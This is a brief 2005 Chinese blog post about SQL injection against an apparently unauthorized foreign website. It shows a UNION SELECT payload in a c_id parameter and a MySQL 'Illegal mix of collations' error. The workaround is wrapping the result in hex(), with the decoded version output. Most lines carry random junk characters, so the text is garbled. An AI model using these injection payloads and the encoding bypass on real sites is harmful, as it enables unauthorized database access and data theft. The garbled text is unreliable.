本文作者:SuperHei
l7 O: G+ |$ s' |文章性质:原创 n5 T+ {% R3 e
发布日期:2005-10-18# h' c* Y5 \% C, c% S, f1 y
测试个国外的站时:
3 j# N/ @+ _& j. {6 i+ U8 }url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
; D Q3 q) V1 V, Y" j: v! S返回错误:1 M8 J* x {/ M* H/ }$ ^
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'- }5 Q& c! b# G, u# Y& y
MySQL Error No. 1265 f2 R$ _% I. V6 ? `7 m B8 j
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
' w) v6 d/ G4 V9 ] s" x6 W$ D解决办法:转为其他编码如hex。
/ U/ y2 |# h" @" ourl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*3 I# h9 [' c7 l- U
成功得到hex(version())的值为:
$ x. w% g! K6 M K# G) B. A342E312E332D62657461
" V9 E# F$ f% G! U回Mysql查询下得到:/ H h# {6 \! U& p9 M8 y% A
mysql> select 0x342E312E332D62657461;
2 {* n0 j; I5 g1 k* X. u. k1 _: Z+------------------------+% T8 `$ G2 d( L9 n9 k( B0 E5 i
| 0x342E312E332D62657461 |. J3 l' ~- t& \8 U. o4 E
+------------------------+: T# r) k( Q7 w5 q/ F
| 4.1.3-beta |
* R0 `, k# G6 `3 ^8 W: C: Y+------------------------+
% L" w3 E8 n4 d% {) l1 row in set (0.00 sec)
" F9 p5 _7 F& m2 W5 r- k. c
/ T5 U4 Q1 j% I& ^ F6 s& o# e |